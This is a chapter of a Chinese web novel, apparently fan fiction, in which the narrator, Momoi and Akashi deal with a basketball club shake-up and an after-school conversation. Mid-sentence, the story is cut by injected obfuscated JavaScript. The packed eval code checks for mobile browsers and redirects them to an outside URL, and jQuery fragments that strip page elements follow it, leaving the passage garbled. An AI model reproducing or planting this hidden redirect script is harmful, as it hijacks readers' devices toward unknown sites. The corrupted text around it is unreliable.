20.第 20 章

作品:《在五条家当社畜的那些年

    之后我密切关注帝光篮球社的所有信息。


    赤司征臣比我想象中的行动还要快,第二天新的监督就到位了,还是一位在国际赛场活跃超过五年的退役选手下来做监督。


    学校声称这位突然空降的监督是一直在接触联系,为了接下来的初中联赛重金邀请到来。


    我对这个声明就信个标点吧。


    没错,就是那个句号。


    看起来非常可靠,令人充满信任。


    桃井说,换了新的监督仅仅两天,社团内部气氛肃然一清,她逃训的幼驯染被新监督亲自抓回来,在所有成员面前两个人1V1,然后刺头小伙子干脆利落地被摁在地上摩擦。


    小五月绘声绘色描述整过过程,重点突出监督的强悍帅气,打脸不知天高地厚的幼驯染,那个兴高采烈、眉飞色舞的样子,好像被全灭的蓝毛是她的仇人一样。


    我忽然get到了美少女的腹黑,但我得说,干得好!


    退役的选手和已经打不动球的监督就是不一样!


    我没有说前任监督不好的意思。


    只是两种效果而已。


    年轻、不懂事的小伙子就适合被迎头痛击、彻底撂倒。


    新的监督一出手,剩下的人全都变得乖巧了起来。


    日常有好像变回了从前的样子。


    用好像这个词,是因为赤司变色的眼睛没有恢复,他依旧是异色瞳孔的样子。


    五月说:“可是赤司、君在社团和以前没有什么区别,态度也变回来了。他在班里有什么不一样吗?”


    “非要说变化的话,就是和我说话少了。”


    “诶?”


    我在校的聊天对象里,前桌是我重要的聊天搭子。我也说不清我们怎么聊天这么多,好像是从一起吐槽愚蠢的少子化政策开始,课间聊天就变成了日常,也因此,我才会第一时间察觉到赤司情况不对。


    但现在,我们减少了的吹牛活动并没有恢复。


    桃井的表情变得有点奇怪,她给我提议:“要不你把他约出来单独问问?”


    “怎么问——”


    在桃井的怂恿下,我起了个大早,准备悄悄往赤司的鞋盒里面塞信。


    纯白的信封,约战的信封。


    并不是。


    只是约他到天台好好说话。


    这可能是唯一我能为赤司做的事,可我没什么把握。


    我的内心有两个小人在打架。


    一个说:加油啊,和津美!你可是直面过赤司征臣的人!


    另一个说:可是他爸和小征怎么一样,前者随便谈,谈崩了就谈崩了,小征可是你重要的朋友!


    不管怎么说,先迈出第一步。


    我靠住宿生的便利摸到了教学楼,打开赤司征十郎的鞋柜,发现他的鞋子上面已经放了好几封粉色的信。


    我:“……”


    低头看看别人的信封,再看看自己手里的。


    要说我不知道五月这家伙整我,就是对我智商的侮辱了。


    好吧,我确实不清楚岛国的鞋柜告白文化。


    在我生气之前,桃井一键滑跪。


    “不要生气,我已经托小黑子帮忙,约了赤司君明天中午去天台了!”五月说:“我会拉阿大去通往天台必经的楼梯上吃午饭,我保证没有人能打扰到你们,用阿大的头保证!”


    这flag立的,听起来他的头输定了。


    我心里对蓝毛同情一秒。


    就一秒,不能再多了。


    我没好气:“你们是故意的吧?”


    五月调皮地对我做了个鬼脸:“故意的。”


    “不过……”


    桃井将她那头飘逸的长发束在脑后,日光从她背后照射进来,光影勾勒出她侧脸的轮廓,将少女白皙的肌肤照得透亮,当她微微低头,垂下眼帘时,精致得像一幅彩绘。


    我以前就说过,五月也是偶像级别的美少女,温柔的粉色被她注入了活泼和生命力,呈现出一种别样的青春少女气息,而此时此刻,她表情温柔而哀伤,似乎连眸色都柔和了下来,又是另一种赏心悦目的美。


    “我曾经非常羡慕他们几个的友谊,整天吵吵闹闹,好像没有消停的时候,但真的感情很好,是我无法融入的队友关系,所以当我发现他们五个关系变差的时候我其实很难过。”五月抬眼看向我:“难过,却什么都做不到。我劝不动阿大,也无法改变其他人,看着他们越是胜利就越是渐行渐远,也越来越不需要我这个社团经理。”


    “我收集情报,分析对手,制定对策,可对他们来说,一点用都没有。我做得越详细,他们赢得越快,关系就越差,到后来,连对策他们都不需要了。”


    有一种难过,叫做无能为力的愧疚感。


    我上前牵住了五月的手,被她反手握在手心里。


    “我以为我只能看着‘奇迹时代’分崩离析。”


    “所以我非常感谢你,和津美。我不知道你是怎么做到把社团监督换掉的,但我知道是你。”桃井五月弯起眼眸,靠过来和我头挨着头,“和赤司君好好聊聊吧,不要说‘我已经做好绝交准备’这种话了,太让人寂寞了,赤司君是绝对不会跟你绝交的。”


    那是因为你还不知道我-干了什么。


    我心虚地想。


    五月大概以为我是靠自己的力量解决的,没想到我会告家长。


    还是告最凶那个家长。


    “如果他不是大笨蛋,他就绝对不会跟你绝交!”


    我:“……噗呲。”


    五月好可爱。


    美少女贴贴。


    谢谢你的鼓励,五月。


    整个下午,我都心不在焉地望着赤司的背影。


    红毛少年身姿挺拔在看课外书的样子,我就恨不得在他背后戳他小人。


    不是他的错,我只是迁怒而已。


    唉。


    放学之后我依旧留在课室写作业,我的习惯是在教室写完课堂作业之后再回宿舍,这样可以把作业和书都锁在柜子里,不用带来带去了。


    学校的课室不限制学生在放学后使用,只要最后的离开的学生记得锁门,把钥匙送去老师办公室就可以了。


    同学陆陆续续会在半小时内离开,剩下的时间都是我个人的时间。


    以前还有人会像我一样留在课室里,只是经过一轮围堵反被揍之后,我一战成名,再也没有同班同学和我抢放下后的课室。


    算因祸得福吧。


    就在我即将结束今天的作业准备走人的时候,惊愕发现赤司征十郎不知道什么时候坐在了我前面。


    傍晚最后的余晖从窗户倾斜而入,温暖的黄色混着些许红调,将原本他的红色照得灿烂绚丽。它也落在少年的脸上,给他上了一层温暖的滤镜,垂眸看书的样子都变得异常柔和。


    少年背对窗户,侧身坐在我面前,帝光的校服穿在他的身上永远整齐,和其他男生不同,他的衬衫扣子从来都是自第一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773268|156690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颗系到最后一颗,深蓝色的领带永远处于正中,不偏不倚。一套校服,被他穿出了一身骄矜和贵气。


    我欣赏了几秒,才开口问道:“你今天不用去社团吗?”


    “请假了。”他不紧不慢地收起书,我怀疑他早就感觉到我在看他了,偏偏就是等我先开口。“我已经坐在这里快二十分钟了。”


    二十分钟,我都没有抬头看他一眼,甚至完全没有发现他的存在。


    反过来说,这家伙等了我二十分钟都不吭声,还凹好造型等我发现。


    用二次元的话怎么形容来着的?


    傲娇,还有点闷骚。


    “明明我们是前后桌,有什么话你直接说就好,还通过黑子约我上天台,你到底是怎么想的?”然后他说了一句非常接地气的话:“现在这个天气,上天台要冷死了。”


    我直接破功,笑了出来。


    “少爷也会怕冷的吗?”


    他也笑了,笑着斜我一眼:“少爷和怕冷有什么必然联系?”


    “要风度不能要温度啊。”


    “那这个少爷也太惨了吧。”


    然后我们都笑了起来。


    之前彼此之间那股凝滞又无形的壁垒,就在这几句话当中无声消弭。


    很神奇。


    我问他:“你的眼睛还没好吗?”


    他视线偏转,神情莫名。“还没有。”


    “那你还好吗?”


    “比以前好多了。”他异色的眼眸看向我,“就是没想到你会去找我父亲。”


    父亲。


    一个有点距离的称呼。


    “说起来你不信,我也没想过。”


    回想起那天我都心有余悸。


    我,五条和津美,为救好友,以稚龄单枪匹马勇闯岛国财阀之一赤司家!


    这个过程完全可以拍个电影了。


    嘻嘻嘻。


    “谢谢你。”赤司对我说。


    太郑重的道谢,让我有点不知所措,我半是转移话题半是好奇地问:“回家有挨骂不?”


    他很快收敛起严肃的姿态,配合地说:“被叫去书房了。”


    “啧啧啧,真惨。”


    “其实我没有不高兴。”少年侧过头来对我说,“而且这次也让我看清楚了自己。”


    “我觉得你这里就该学学绿毛,那家伙从来不内耗,顶多是傲娇。”


    赤司一脸无语,“绿间知道你叫他绿毛吗?”


    “……嘘!替我保密。”


    他表情更奇怪了。“你会偷偷叫我红毛吗?”


    我被他逗笑了,没有直接回答他。“重点不是傲娇吗!”


    “傲娇这个等一下再讨论。”


    “还有他那个口头禅,‘尽人事,听天命’!”


    “这个也不重要。”赤司说:“重要的是,我,红毛?”


    其实我一次都没有交过赤司红毛,不过看他在意的样子,我坏心眼地说:“我可没有哦,一次都没有,顶多叫你鸳鸯。”


    鸳鸯眼。


    赤司似乎有点被打击到,又那我没办法。


    “所以你约我上天台想说什么?”


    我反而有点不好意思了,“……也没什么,不重要的事。”


    “快说。”他的手指敲了敲我的桌子:“我社团活动都请假了,这是我第一次请假。”


    又不是我让你请假的。


    但我不敢哔哔。


    赤司看起来好凶,呜呜呜。